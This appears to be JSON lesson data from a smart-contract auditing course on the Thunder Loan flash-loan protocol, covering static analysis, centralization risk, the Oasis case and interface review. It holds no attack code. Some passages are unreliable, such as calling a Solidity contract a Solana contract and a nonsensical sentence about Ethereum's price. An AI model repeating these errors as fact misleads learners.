Purpose\n\nNow, let's circle back to flash loans. What makes them unique is the rapidity with which they can be executed. A loan taken out for a single transaction, and if repaid immediately, it completes. If not, the transaction can be coded to automatically revert. This function is only possible in Web 3 platforms.\n\nPulling these threads together, someone might utilize a flash loan to carry out arbitrage and benefit from a market price discrepancy.\n\n> \"Flash loans allow us to take out quick loans for a single transaction. If we don't pay the money back, the transaction can automatically revert.\"\n\n## Dig into It Yourself!\n\nFor those seeking a more hands-on approach, we'll be adding examples of flash loan protocol arbitrage in the audit data branch of our GitHub repositories. All diagrams used in this post, as well as additional resources, can be found there.\n\nIn conclusion, flash loans and arbitrage could be a lucrative way to leverage crypto market discrepancies, especially considering the volatility characteristic of this space. Whether you're an aspiring whale or a novice user aiming to dip your feet, understanding this realm can illuminate a whole new way of interacting with cryptocurrency.\n\nThe main caveat, as always, is comprehension. Understanding the terms and conditions, and the associated risks, is a prerequisite to success in any financial venture, and flash loans are no exception. Be sure to dig into our other resources if you'd like more of a deep dive!\n", + "updates": [] + }, + { + "id": "d61670f8-0992-4154-b45a-41b2a482a0ea", + "number": 10, + "title": "Recon Continued", + "slug": "recon-continued", + "folderName": "10-recon-continued", + "description": "", + "duration": 4, + "videoUrl": "fTi9rI6qWlQ", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/10-recon-continued/+page.md", + "markdownContent": "---\ntitle: Recon (continued)\n---\n\n\n\n---\n\n# Understanding the Thunder Loan Protocol: A Comprehensive Review\n\nWelcome to another intriguing blog post where we'll dive deep into the world of cryptocurrencies, specifically focusing on the Thunder Loan protocol. This post is rooted in our continued commitment to simplify complex subjects in decentralized finance for you.\n\n## Contextualizing the Thunder Loan Protocol\n\nThunder Loan protocol, like many other DeFi (Decentralized Finance) protocols, is based on borrowing, lending, and flash loans. To fully grasp how this protocol operates, one must first comprehend how flash loans and borrowing/lending processes work.\n\n> _\"Sometimes when you're doing security reviews, you got to look up stuff that might not seem related.\"_\n\nI recommend learning more about these protocols by exploring [Aave](https://aave.com) and [Compound](https://compound.finance). You could also watch related deep-dive videos to get more context.\n\n## Breaking Down Flash Loans and Liquidity\n\nSo, what is a flash loan? In essence, flash loans involve users borrowing substantial sums, completing arbitrage trades, then returning the borrowed sum in the same transaction. They are rapid transactions that thoroughly leverage the capabilities of smart contracts.\n\nUsers, also known as liquidity providers, deposit their funds into the protocol. In exchange, they receive asset tokens, representing their stake in the protocol. Users also need to pay a small fee to the protocol, which depends on the borrowed sum.\n\nOne might be curious: how is this fee calculated?\n\nEnter the **on-chain Tswap price oracle**.\n\n## The Critical Role of the Tswap Price Oracle\n\nPrice oracles play a crucial role in crypto trading platforms. They act as a bridge, bringing external real-world data or computation on-chain.\n\n> _\"An Oracle is going to be a device that takes external real-world data or computation and brings it on-chain.\"_\n\nFor instance, a price oracle could determine the price of Ethereum – a concept forgotten by the material world. It's fascinating to note that the Thunder Loan protocol uses TSwap's Dex that we reviewed in our previous section as a price oracle.\n\nNow, one might wonder: why would the protocol need a price oracle?\n\nLet's dig in further.\n\n## The Thunder Loan Protocol Upgrade\n\nWe have one more puzzling detail. Thunder Loan Protocol is planning to upgrade their current contract to the Thunder Loan upgraded contract.\n\nThis upgrade is a crucial element to be considered under the scope of our security review. The Thunder Loan seems to be an upgradable smart contract, following the Ownable Upgradable, UUPS Upgradable and Oracle Upgradable paths.\n\n## Wrapping Up\n\nFinally, we've learned how the protocol sheds light on flash loans, arbitrage, and provides various opportunities for liquidity providers apart from their usual asset token interest.\n\nWe've also noticed some unique features like the TSwap Price Oracle embedded into the protocol's ecosystem, contributing prominently to its functionality.\n\nThis post should have given you a thorough overview of the Thunder Loan protocol. Now would be an ideal time for you to reach out to the protocol or prepare their diagrams, detailing how their whole system actually works.\n\nRemember to have fun, stay curious, and keep exploring!\n", + "updates": [] + }, + { + "id": "cf98c920-cca9-4975-9259-b11408ae8b36", + "number": 11, + "title": "Static Analysis - Slither & Aderyn", + "slug": "static-analysis-slither-aderyn", + "folderName": "11-static-analysis-slither-aderyn", + "description": "", + "duration": 7, + "videoUrl": "3xCoqt4Bx2o", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/11-static-analysis-slither-aderyn/+page.md", + "markdownContent": "---\ntitle: Static Analysis Slither + Aderyn\n---\n\n\n\n---\n\n# Solidity Foundry Project: Running Slither and Aderyn\n\nWelcome back! In today's blog, we're going to throw ourselves into the heart of a Solidity foundry project. Unfortunately, there are no diagrams to help us along the way, but no worries, because we've got two brilliant tools at our disposal: **Slither** and **Aderyn**.\n\n## Setting the Stage: Your Make File\n\nFor this project, and any Solidity project moving forward, a typical **make file** will embrace a little Slither command line action and be embellished with a Slither Config JSON file.\n\nThe Slither Config JSON that I am fond of using, you can tailor as per your project needs. What makes it special is the string of flags that are manually turned on or off to procure meaningful Slither outputs. _Fun Fact: You might notice I don’t include a few detectors like conformance to Solidity naming conventions or incorrect versions of Solidity. That’s because I have a fair share of taste for unconventional naming and most folks aren’t using 0.8.18 versions but rather zero point 20._\n\nNext, in our mission to make the Slither output as concise and helpful as possible, we make sure to filter paths to avoid pulling in redundant information from mocks, tests, scripts, upgraded protocol, or dependencies. This ensures we don't muddle our results with data from libraries.\n\n## The Bug Hunt Begins\n\nOn initiating Slither, we did hit something noteworthy, a bug! The first info detected was thunderloan update. The problem lay in that the action of the code `s_flashloan fee = new fee` was not triggering an event emission. This was in Thunder Loan line 269.\n\nNow, let's get to the heart of the update flash loan fee function. We spotted a `s_flashloan fee` variable. When we investigated further, it was found to be a storage variable.\n\n> Important: Whenever a storage update occurs, it is mandatory to emit an event.\n\nTo make a note of it for the auditor, we wrote `@audit: low must emit an event.`But that's not the end of it. We found more issues with Slither.\n\n## Fishy Thunderloan\n\nSlither also pointed out the possibility of reentrancy vulnerabilities in the Thunderloan flash loan because of external calls being made. We're not entirely sure of the severity, but we mark these for a follow-up review.\n\n> Note: Be sure to check out the mentioned lines (#204, #181) in Thunderloan for potential reentrancy vulnerabilities.\n\n## Beware the Old Yellow\n\nFinally, Slither pointed out a yellow alert, which was a little concerning. The problem was that the return value of an external call was not stored in a local or state variable. Again, we must make a follow-up note of this and verify later if it's a grave issue.\n\nWith the last yellow alert, we've run through all theing that Slither had to offer. However, we're still not done. Next, we need to run Aderyn.\n\n## Round Two: Aderyn\n\nAfter running Aderyn, a report is generated. The report can be checked for any potential issues and, if need be, compared with Slither's findings.\n\nAnd voila, that's how you navigate through a Solidity project with the help of Slither and Aderyn. By doing so, you can identify potential vulnerabilities and build better, safer code. Until next time, happy coding!\n", + "updates": [] + }, + { + "id": "bd391a8a-f18f-496a-94de-1b82c42ed12b", + "number": 12, + "title": "Exploit: Centralization", + "slug": "exploit-centralization", + "folderName": "12-exploit-centralization", + "description": "", + "duration": 3, + "videoUrl": "C7QJD-0ySW8", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/12-exploit-centralization/+page.md", + "markdownContent": "---\ntitle: Exploit Centralization\n---\n\n\n\n---\n\n---\n\n# **Understanding Centralization Risk in Contracts**\n\nIf you've written code for a smart contract, you may have come across this pesky medium-issue termed the 'centralization risk.' Often underplayed or regarded as a known non-issue, centralization risk holds the highly explosive capability to compromise your entire protocol.\n\n![](https://cdn.videotap.com/RLVhl7xtB45C5923CMwb-29.14.png)\n\nIn this article, we will dissect this concept, characterized by contracts with privileged owners who exercise undue rights to perform administrative tasks. These individuals demand a blind trust not to execute malicious updates or drain funds - a colossal deal in the world of protocols.\n\nBut, why should we report this in a private audit? Let's zoom in.\n\n## **Why Centralization Risk Matters**\n\nThe alarm bells around centralization risks are not just blown for fun. There are hundreds of thousands of reasons to do so, primary being the inherent security issue. This vulnerability, if left unaddressed, can lead to the disastrous situation known as a 'rug pull.'\n\nA metaphorical term, rug pull equates to the unanticipated withdrawal of liquidity from a protocol by its creators, rendering the protocol useless. Here's a quote aptly encapsulating this scenario:\n\n> \"Imagine someone pulling the rug off underneath your feet leaving you in a freefall. That's what is a rug pull.\"\n\nTake a case wherein a contract is deployed, and it's vaunted as a decentralized entity. But the reality behind it is that it’s actually behind a proxy. At any unpredictable time, the owners of this proxy could upgrade the contract, introducing functions like 'steal all the money' - definitely not cool.\n\n## **A Deep Dive into SC Exploits Minimize Git Repo**\n\nIn the SC exploits minimize git repo associated with this course, we have chosen the SRC protocol's 'Thunder Loan.' We discovered that the protocol is rife with ownable actions. After sorting through 'Only Owner,' we spotted the functions set to allowed token, update Flash loan fee, and authorize Upgrade - all were exclusive to the owner.\n\nAdditionally, the owner of the protocol holds the power to modify all functionalities as per whims and fancies. This ownership is possible since the protocol is set behind a UUPS Proxy contract. It means that with one misstep, the entire protocol can be swept away.\n\nIt's not all bleak, though. Automated discovery tools like Adarin automatically seek centralization issues and generate comprehensive reports, minimizing the manual effort required to spot these vulnerabilities.\n\n## **Exploring Further: Case Study of Oasis**\n\nBefore we wrap up, let's undertake a brief study of an excellent DeFi vulnerability challenge based on Oasis. The purpose of this exercise is to delve into the insecurities laid bare by unchecked centralization.\n\nOur study highlighted that the contract owner could arbitrarily alter the balances of its users, effectively empowering the owner to rob the hard-earned ETH of its users. Consequently, this amplifies the centralization issue exponentially. This scenario mirrors an array of rug pulls stemmed from unchecked centralization.\n\n## **Conclusion**\n\nIn the end, it all boils down to one fact - the presence of centralization poses a severe risk to the security of any protocol. Being proactive in acknowledging and mitigating this risk is non-negotiable if we aim to maintain the integrity of our protocols. Centralization can be a security issue, but with constant vigil, we can tackle it head-on.\n\nStay safe and happy coding!\n", + "updates": [] + }, + { + "id": "dbe192e5-2438-42f5-a9f8-efac77de2cde", + "number": 13, + "title": "Case Study: Oasis", + "slug": "case-study-oasis", + "folderName": "13-case-study-oasis", + "description": "", + "duration": 3, + "videoUrl": "e-4YOy7sc6s", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/13-case-study-oasis/+page.md", + "markdownContent": "---\ntitle: Centralization Case Study Oasis\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# The Oasis Protocol Hack Recovery: A Tale of Centralization Risks and Court-Mandated Exploits\n\nYou have heard before about cyber thefts. But have you heard of one where hackers end up having the tables turned on them? This exactly happened earlier this year in the world of digital asset lending and borrowing. It's a rollercoaster of a story that involves smart contracts, the UK courts, and a protocol called Oasis. The protocol, incidentally, had projected itself as decentralized and permissionless, but ended up playing an ironic role. Let's dig in.\n\n## Oasis and Its Security Meltdown\n\nOasis is a digital platform that allows users to lend and borrow assets on the maker protocol. The exciting - and somewhat controversial - thing about it was its selling point as a decentralized and permissionless platform. In other words, there was no need for central intermediaries, fuss over permissions, or concerns about third-party interventions.\n\n![](https://cdn.videotap.com/TrlvVL07HW0fU9JmwRSw-26.17.png)\n\nAll well and good until one day when a hacker sneaked in and made off with a sizeable amount of money - exactly 120K wrapped ether. Placing his stolen money in the Oasis application, the hacker probably felt quite pleased with himself. However, he didn't count on the steps that the victims of this hack would take next.\n\n## Hacking Back the Hackers\n\nUnderstandably angered, the victims - who had substantial money sitting in the said protocol - turned to security researchers for assistance. The question was straightforward: Could a forced smart contract upgrade retrieve the stolen loot? To their relief, the answer was also straightforward: Yes.\n\nSo next, they went to court armed with this new knowledge of an exploit in the Oasis' codebase. Their request was straightforward: Force the team behind Oasis to upgrade the protocol and utilize the exploit to match the hacker's play. Sounds wild, right? But it didn't just end there.\n\n## A Court-Ordered Exploit\n\nThe court agreed with these victims and ordered Oasis - yes, the same Oasis that professed decentralization and permissionless transactions - to upgrade their protocol and exploit their own security flaw. The objective was clear: retrieve the hacked funds, which, in essence, was hacking the hacker.\n\n> \"The whole saga entailed coordination between the Oasis' founding team and the wormhole developer from Jump Crypto, the trading firm that had lost their money in the first place.\" - Extract from Blockworks Research Article.\n\nThis was possible only because Oasis’s protocol wasn't truly decentralized or censorship-resistant. Had it been so, this court-ordered exploit couldn't have happened at all.\n\n## The Conundrum of Centralization\n\nSo was this a happy ending? Not everyone agrees. Yes, the stolen funds were recovered, but the image of Oasis as a truly decentralized platform took a hit. It revealed centralization risks creating a shift in how users see and interact with these types of platforms, as, generally, they are under the impression of these protocols being completely decentralized. As security researchers, we need to address such misleading aspects.\n\nPerhaps the takeaway from this episode is the importance of awareness and the possible loop-holes that may exist even in the most secure looking digital assets systems, and also that, despite the convenience and freedom, decentralized platforms can pose, there are hidden pitfalls.\n\nSo the next time you're looking into using a new system or protocol, remember the story of the Oasis Protocol Hack Recovery. Not every 'decentralized' platform is truly what it claims to be. Be sure to read the information given, especially when it comes to security and understand the risks before committing your digital or physical assets. Be aware, and make a well-informed decision.\n\nStay safe!\n", + "updates": [] + }, + { + "id": "2d1c0adc-43ec-4577-8da5-e47ba2915f66", + "number": 14, + "title": "Static Analysis Continued", + "slug": "static-analysis-continued", + "folderName": "14-static-analysis-continued", + "description": "", + "duration": 1, + "videoUrl": "UZFZgPSRv7k", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/14-static-analysis-continued/+page.md", + "markdownContent": "---\ntitle: Static Analysis Continued\n---\n\n\n\n---\n\n# Identifying Key Aspects of a Blockchain Protocol Audit\n\nThe process of a blockchain protocol audit involves numerous steps, including checking for null address errors or unused functions, and then reporting these findings. In this blog post, we will go through the transcript of such an audit, explaining the key steps and the reasons behind the auditors' actions.\n\n## Addressing Null or Zero Address Errors\n\nThe first thing on the agenda was identifying any zero address checks that were missing.\n\nWhile inspecting the code in `orible_upgradable.sol`, few aspects came to light that called for some auditing. In blockchain parlance, a zero address refers to an address that was never assigned. If any state variables in a smart contract were unintentionally assigned to a zero address, the contract may not function as intended.\n\nThe code seemed to have a couple of places where this was an issue in assigning values to address state variables that lacked checks for address zero.\n\nAn additional instance required our attention, further validating that multiple aspects of this contract require zero address checks. This recommendation came up as part of the audit's Informational findings or the 'Gas' that helps improve the contract's architecture.\n\n## Marking Unused Functions as External\n\nThe next point of attention was for functions that weren’t being used internally. These could be marked as external. Specifically, the `getAssetToken` function appeared to be a likely candidate for this change. It was found to be defined in `ThunderLoan.sol` but seemed to only be utilized in the `ThunderLoanUpgraded.sol` contract.\n\n## Defining and Using Constants Instead of Literals\n\nLiterals, in coding terms, are the set values that remain unaltered throughout the code's execution. Using constant variables instead of these literals enhance the code’s readability and maintainability.\n\nOn Line 144 of the contract, the use of magic numbers was spotted. Magic numbers refer to undisguised numerical values that could potentially create confusion in the future. Therefore, defining and using constants instead of these literals is strongly advised.\n\n## Track Missing Index Fields in Events\n\nEvents play a crucial role in smart contracts, keeping a log of essential occurrences. Therefore, including an 'index field' is essential, as it aids in filtering and searching event logs effectively.\n\nIn our project's case, some events being emitted lacked such an indexed field. Including this in the final report as an informational finding is a must, enabling the team to use events in a more structured and practical manner.\n\n# Evaluating Centralization Issue\n\nDuring our audit process, a centralization issue was identified with the protocol. It's a common practice in a private audit to notify the protocol if the contract is centralized. As highlighted in the Oasis case, an element of control or flexibility can potentially have dire consequences on protocol decentralization.\n\n\"We found a centralization issue. We'd generally advise against this if the protocol doesn't need to be ownable or upgradable, as it presents a centralization vector.\"\n\n# Concluding Remarks\n\nInformation gleaned from this audit demonstrates how intricately the process needs to be conducted. Key findings drawn during the process included missing zero-address checks, unused internal functions, usage of literals instead of constants, and missing index fields in events. Along with this, an important aspect brought forth was the issue related to centralization.\n\nIt's vital to consider every possible attack vector when developing a protocol. By acknowledging potential risks, such as an unsuspecting bad actor gaining control and pilfering funds, we can make necessary adjustments to mitigate these risks.\n\nBy running various audits like Slither or Adarin, we can close potential loopholes and aim to deliver a more streamlined, safe, and reliable protocol. These measures culminate in securing your protocol's integrity against potential risks, enhancing its potential for real-world utilization.\n", + "updates": [] + }, + { + "id": "eff20578-d301-44a4-9a97-57140f7e19b5", + "number": 15, + "title": "Recon IPoolFactory", + "slug": "recon-ipoolfactory", + "folderName": "15-recon-ipoolfactory", + "description": "", + "duration": 6, + "videoUrl": "4si96F9njXU", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/15-recon-ipoolfactory/+page.md", + "markdownContent": "---\ntitle: Recon Manual Review IPoolFactory sol\n---\n\n\n\n---\n\n# Manual Code Review: Getting Started\n\nAfter setting our initial context and utilizing our suite of auditing tools, it's time to get our hands dirty with some thorough manual review. Much like our previous auditing process, one viable option available to us is to start from the test suite.\n\n## Diving Into the Test Suites\n\nThe project at hand features an invariant test suite, which, unfortunately, is rather redundant, hence ineffective. Additionally, there are some unit tests that warrant our attention. Consequently, an excellent first step is to run the `forge coverage` command to get an idea of the current test suite under scrutiny.\n\n## Reviewing Test Coverage\n\nOur preliminary exploration reveals that the test coverage is unsatisfactory. Therefore, it's mute to map out our plan of action: We need to scrutinize this test suite, comprehend its shortcomings, infer the invariants, and consequently pen a robust invariant test suite. Afterward, all related findings would be relayed to the client—highlighting their dire need to improve test coverage, expressed as an informal suggestion.\n\nOur last venture had us initially peering into their test suite and buffing it up. By taking this approach, revealing the hidden bugs was a breeze, and it seems likely that this strategy would prove beneficial once more. Nevertheless, this journey would also incorporate a thorough manual review.\n\n## Focus on Proof of Code\n\nAn essential part of the auditing process would involve digging deep into the provided code with a fine-toothed comb. While no single approach guarantees success, we'll be implementing the 'Tincho method' with considerably more gravity this time around.\n\n### Workflow Setup with the Tincho Method\n\nOur journey begins in the SRC, using the `solidity metrics` command. The output would be copied in entirety and pasted into a document of choice. I personally prefer Google Sheets due to its easy to use interface and sorting abilities.\n\n![](https://cdn.videotap.com/UrVcjpzYpZgiEY4KluYE-96.32.png)\n\nAfter eliminating any unnecessary columns, it is sensible to sort the code by size, in ascending order. This list forms the foundation of our audit, providing a linear path of progression from smaller contracts to larger ones.\n\n### Mining the Code: Ifactory sol and ipoolfactory sol\n\nUsing the Tincho method, we start by tackling the smallest contract: 'ifactory.sol'. The microscopic size may make it seem insignificant, but give it due diligence.\n\nShortly after, 'ipoolfactory.sol' comes under scrutiny—the first contract addressed in this session. Notably, this contract seems to interface with the T swap pool factory, as signified by the function 'get pool'.\n\nOn closer inspection of the TSWAP code base, we can see that there is indeed a 'get pool' function present in the 'pool factory' ('poolfactory.sol').\n\nA useful annotation to consider:\n\n> 'ipoolfactory' is likely the interface used for communication with 'poolfactory.sol' from TSWAP.\n\nIt would be beneficial to jot down these insights as an organized mind note or Google Sheets document, with sections such as 'About', 'Potential attack vectors', 'Ideas', and 'Questions'.\n\nA few starting points include:\n\n- Write about the protocol in your own words.\n- Why are we using TSWAP in this context?\n- How do flash loans correlate with this usage of TSWAP?\n\nThis document acts as a brain dump, helping record initial thoughts, insights, and potential attack vectors. Maintaining an organized note system would likely make your work more efficient.\n\nAt first glance, 'ifactory.sol' seems sound without any evident issues, which is a good sign. This quick win aligns with our ideology: to confirm the validity of the smaller parts before progressing onto larger sections.\n\n## Keeping An Audit Trail\n\nEvery reviewed snippet is ticked off, allowing us to keep track of our journey and ensure that ground covered is not tread twice.\n\nOur first milestone? 'ipoolfactory.sol': reviewed successfully.\n\nTo improve our workflow, we could even factor in stages of review ('first pass', 'second pass', etc.). Our current initiative involves only a single comprehensive review to keep things simple.\n\n## Wrapping It Up: First Review\n\nAfter this successful review of 'ipoolfactory.sol', we realise that the audited code interacts with an external contract: the pool factory. By understanding these relationships and ensuring the correctness of the smaller contracts, we're paving the way to a comprehensive project audit. Armed with keen eyes and perseverance, we're ready for our next task—be it large or small.\n", + "updates": [] + }, + { + "id": "b749f8e0-87f5-4e12-880d-8ecd81d5871b", + "number": 16, + "title": "ITSwapPool", + "slug": "itswappool", + "folderName": "16-itswappool", + "description": "", + "duration": 2, + "videoUrl": "HsrzejNBhYs", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/16-itswappool/+page.md", + "markdownContent": "---\ntitle: ITSwapPool sol\n---\n\n\n\n---\n\n# Deep Dive into Tswappool.sol Interface\n\nOne mystery that never loses its charm in the world of programming is the magic and intrigue of code reviews. It's an opportunity to navigate a labyrinth of ideas coded into existence, where the treasure isn't a particular conclusion, but a drive towards understanding and well, continuous improvement. In our expedition today, we're exploring the exciting realm of \"Tswappool.sol\".\n\n## The Intriguing Interface of TSwapPool\n\nAs we pulled up the \"Tswappool.sol\" file, it quickly became clear that the script was another interface in the ever-expansive Ethereum world, and the initial overview was rather promising.\n\nHere's a quick view into the key aspects of this interface:\n\n- `SPDX license Identifier`: Check. Good on this front.\n- `Pragma solidity`: All clear here.\n- `Interface TswapPool`: The main piece we're interested in.\n\nThe structure and organization of the script were clean, effective, and up to standards at first glance, which adds a tick on the checklist.\n\n### The Key Function: Get Price of One Pool Token in WETH\n\nThe heart of any interface lies within the crucial functions it employs. In TswapPool, we uncover a singular but significant function - `getPriceOfOneTokenInWETH`.\n\n![](https://cdn.videotap.com/AVRQTYRhhg4lDMb4rQM4-43.2.png)\n\nUsing this function, the interface ends up working with TSWAP quite seamlessly. So kudos on the smart use of simplicity guided by functionality!\n\n#### But Why Only One Function?\n\nWhile everything else falls perfectly into place, a peculiar aspect emerges. The existence of only one function in the interface raises the question, \"Why is the price of pool token in WETH the solitary functionality being implemented here?\"\n\n> \"Why is the `getPriceOfOneTokenInWETH` function the only one in this interface?\"\n\nThis question remains open-ended for now and forms an essential part of understanding and further exploring the purpose and design of this interface.\n\n## It's a Check!\n\nMinus the above question, scrutinizing the 'Tswappool.sol' interface looks predominantly positive. Both the syntax and architecture of the coded script meet the expected standards.\n\nLiving up to the 'Tincho method' philosophy, which advocates for the clarity and optimization of code, the TswapPool interface easily garners a big shiny check ✓!\n\nIndeed, code reviews especially with the Tincho method in our toolkit, feel deeply satisfying when met with such well-structured and cleanly scripted interfaces.\n\nAs we come to the end of our review, remember that understanding scripts isn't just about putting checks on a list, but about appreciating the complexity coded into simplicity and the team spirit built into community standards.\n\nReviewing the `Tswappool.sol` interface was a pleasure. Here's to many more engaging dives into the intriguing world of Ethereum and blockchain development!\n", + "updates": [] + }, + { + "id": "2fd9c1c0-5353-4d44-acd7-c33062f816e2", + "number": 17, + "title": "IThunderLoan", + "slug": "ithunderloan", + "folderName": "17-ithunderloan", + "description": "", + "duration": 3, + "videoUrl": "Elfslyct1tw", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/17-ithunderloan/+page.md", + "markdownContent": "---\ntitle: IthunderLoan.sol\n---\n\n\n\n---\n\n# Unearthing Bugs and Enhancing Interfacing in ThunderLoan Protocol\n\nIn the overlapping maze of smart contracts and blockchain protocols, it's critical not to miss any threads. You can uncover this through a methodical analysis of the mechanism layer by layer, as demonstrated with ThunderLoan protocol.\n\n## Unraveling the ThunderLoan Contract\n\nThe journey begins with taking a peek at the IThunderLoan interface we have been investigating. Here, the classic `ThunderLoan` contract caught my eye. As the usual procedure goes, we need to tackle a crucial question – \"Does `ThunderLoan` implement the `IThunderLoan`?\"\n\nIn this case, the `ThunderLoan` contract doesn't implement `IThunderLoan`. This might seem odd at first, but it could perhaps be an informational point from an auditing perspective. Intriguingly, the `IThunderLoan` interface should ideally be carried out by the `ThunderLoan` contract. An interface is a valuable tool in programming, it acts as a guideline to developers, ensuring that they don’t leave out any critical functions.\n\nNow, if the contract isn't implementing the interface, it's time to delve deeper into the details and discrepancies that might crop up in such cases. Let's compare the two closely and see if they're actually different.\n\n![](https://cdn.videotap.com/Bft86JEs1cIqjxRo4BZq-39.92.png)## Scrutinizing the Repay Function\n\nKeeping a sharp focus on the `repay` function, we can see that it accepts a token, an address, and an amount. If we dig into the `IThunderLoan` interface, we notice this function takes an `IERC20` token and an address amount.\n\nUpon a detailed observation, this presents a peculiar situation – the `IThunderLoan` and `ThunderLoan` contract parameters are not only different, but they contradict each other, creating grounds for an issue. Just imagine scenarios where the `repay` function is expecting an `IERC20` token, but it receives an address token; the resulting confusion could cause the process to break!\n\nNow, when we try to import the `IThunderLoan` and inherit it into `ThunderLoan` in Visual Studio Code, and if we save it, it says _\"ThunderLoan should be marked abstract because it doesn't implement this `repay` function.\"_ This issue would have been caught easily if best practices had been followed and the auditing information had been put into use.\n\nFurther, when the forge build is actioned, it doesn’t compile. This draws our attention back to the different parameters of the `repay` function.\n\n> \"Stacking up both the interfaces side by side, in the `ThunderLoan` contract, the `repay` function is clutching an `IERC20` token and a `uint256`, whereas its counterpart – `IThunderLoan` is nesting an address token and an amount.\"\n\nThis makes it clear that these two are not singing in harmony, creating the need for amendments where necessary.\n\nABOUT THE AUTHOR: This auditing journey showcases the significance of in-depth code investigation in contracts and interfaces. It provides insights into the potential complexities that might arise in coding and software development. It’s a concrete reminder of how seemingly insignificant details can crop up to create considerable confusion in function implementation and can carry far-reaching consequences if overlooked – prominently, in smart contracts and blockchain protocols.\n\n### Unraveling Code Rubrics, One Function at a Time\n\nIt's time to retract the changes made and run some `command z's` to restore the code. Here lies an opportunity to leave a note to remind that the referenced interface should be implemented. This attention to detail can be tagged as either low or informational. These tags would depend on the possible future risks; it would probably be informational if the address token doesn't pose much of an issue. But it’s definitely something that demands further investigation.\n\nIn essence, it’s crucial that accurate information is included in the report. So what at first glance looked like an odd piece of code, presented us with a whole other issue to dive into, and that's another feather in our problem-solving cap!\n\nThrough this auditing adventure, we were able to uncover multiple discrepancies and enhance uniformity in the interfacing processes.\n\nLet’s keep this journey of code analysis ongoing - one function, one issue at a time. We may find the codebase exhausting at times, but as we unravel the layers, it's definitely rewarding for the meticulous code investigator.\n", + "updates": [] + }, + { + "id": "3f456769-0a89-4ae3-983f-f881a20e3d44", + "number": 18, + "title": "IFlashloanReceiver", + "slug": "flashloan-receiver", + "folderName": "18-flashloan-receiver", + "description": "", + "duration": 7, + "videoUrl": "fWAf5IrOdbA", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/18-flashloan-receiver/+page.md", + "markdownContent": "---\ntitle: IFLashLoanReceiver.sol\n---\n\n\n\n---\n\n# Deep diving into Flash Loan Audits\n\nGoing through audits especially when it involves assert checking can be a bit of a challenge even for seasoned programmers. Today, we will be looking into **IFlash Loan Receiver** contracts, finding out potential loopholes and code clean ups that we can perform to ensure our contract is as secure and tight-knit as possible.\n\n![](https://cdn.videotap.com/nmh2iNPnadGsdWNfaTx7-13.81.png)## Understanding the Flash Loan receiver contracts\n\nA quick look at our code shows that we use a lot of import statements like `import IThunderLoan from ../IThunderLoan`. Now it might seem okay to import libraries and classes that we might not really use directly in our codebase, but there's reason to trim down on that. Let's delve in.\n\nWhile this line of code might seem harmless initially, closer inspection reveals that we don't really need to import this. Why is it there? One may think there could be an underpinning connection by another class or component. So let's try to find out where exactly this particular import is being utilized.\n\nUsing the handy keyboard shortcut **Command Shift F** (or Control Shift F for Windows) in Visual Studio, we can quickly locate where `IFlashLoanReceiver` file is and where `IThunderLoan` is being imported.\n\nTo our surprise, we found out that `IThunderLoan` isn't imported or used anywhere in the `IFlashLoanReceiver`. So it begs the question, why is it there?\n\n## Cleaning Up Unused Imports\n\nWhile it's tempting to leave unused imports like this in your code (who knows, you might need it later, right?), this could be seen as bad practice in general. This is largely because it makes the code harder to read and understand, especially for new people coming onto the project and also, it could introduce potential security risks.\n\nWe went ahead to comment out the `IThunderLoan` import to see if anything breaks. Running `forge build` in the terminal, we confirmed that, indeed, we didn't actually need this import.\n\n> **Note:** It's a fundamental principle of smart contract engineering to avoid altering live codes for test mocks. Hence we need to remove the import from `MockLoanReceiver.sol`.\n\nAfter removing the redundant import, our build is still in great shape, and we've made our project slightly cleaner and easier to understand.\n\n## Exploring Flash Loan mechanics with Aave\n\nWith the code cleaned up, we now shift focus to understanding some foundational concepts. Looking at the Flash Loan receiver contracts available on [Aave](https://github.com/aave), we realize that the implementation here is somewhat similar to what we have in our own codebase. The perfect opportunity to learn!\n\nHere's a snippet of the Aave code we were going through:\n\n```js\nfunction executeOperation(address _reserve,uint256 _amount,uint256 _fee,bytes memory _params)external returns (bool);\n```\n\nThis part of the code piqued our curiosity. We came up with some assumptions about what each parameter might be doing:\n\n- `_reserve` could be the token being borrowed.\n- `_amount` probably is the amount of tokens.\n- `_fee` seems like it could be the fee of the Flash loan protocol.\n- `_params` could likely be the callback function.\n\nAt this point, the code isn't elaborating on what these parameters are doing (a big shoutout to @audit for the Nat spec!), so we will need to do some more digging to find out.\n\n> **Quote:** \"A big part of becoming proficient in contract auditing involves making well-educated guesses and then verifying those guesses.\"\n\nAs we are going through the process, we find that the `executeOperation` is implemented in the `ThunderLoan.sol` which on running looks sufficiently secure.\n\n## Wrapping Up and Taking Breaks\n\nWith this deeper understanding, we actually managed to find some informationals that we can pass on to our client - which, at the end of the day is what it's all about: making the protocol safer, more successful, and better. And let's not forget, adhering to best practices in engineering.\n\nDuring this audit process, don't forget to take breaks! Applying the Pomodoro technique helps maintain focus, where one works for about 50 minutes and then takes a break for 5-10 minutes.\n\n**And there you have it, folks! Remember, keep your code clean, follow good engineering practices, and always, always remember to question everything. Happy auditing!**\n", + "updates": [] + }, + { + "id": "40862597-8a81-4c01-b2a7-8a316236b940", + "number": 19, + "title": "OracleUpgradeable", + "slug": "oracle-upgradeable", + "folderName": "19-oracle-upgradeable", + "description": "", + "duration": 5, + "videoUrl": "y1VG8lD75VY", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/19-oracle-upgradeable/+page.md", + "markdownContent": "---\ntitle: OracleUpgradeable.sol\n---\n\n\n\n---\n\n# Understanding the Tincho Method: A Deep Dive into Solana Smart Contract\n\nIn our previous discussion, we were introduced to the Tincho method. Thanks to its creator, Tincho, it gave us more confidence in creating our first Solana smart contract. Now, let's dive deeper into this journey and breakdown the necessities of preparing a Solana smart contract with a hand on codebase.\n\n## A Look at the Codebase\n\nFirst, navigate to the Solana `.sol` file. It's our initial contract. It may seem small, but it's our first step into the universe of smart contracts. So let's explore what its components are. If you are not familiar with Solana or `.sol` files, you may find it easier to use 'Word Wrap' function to easily view the code.\n\nWith the 'Word Wrap' enabled, we can see some keywords like `pragma` and `solidity`. There are also several imports, such as `it swap pool`, `Ipool factory`, and 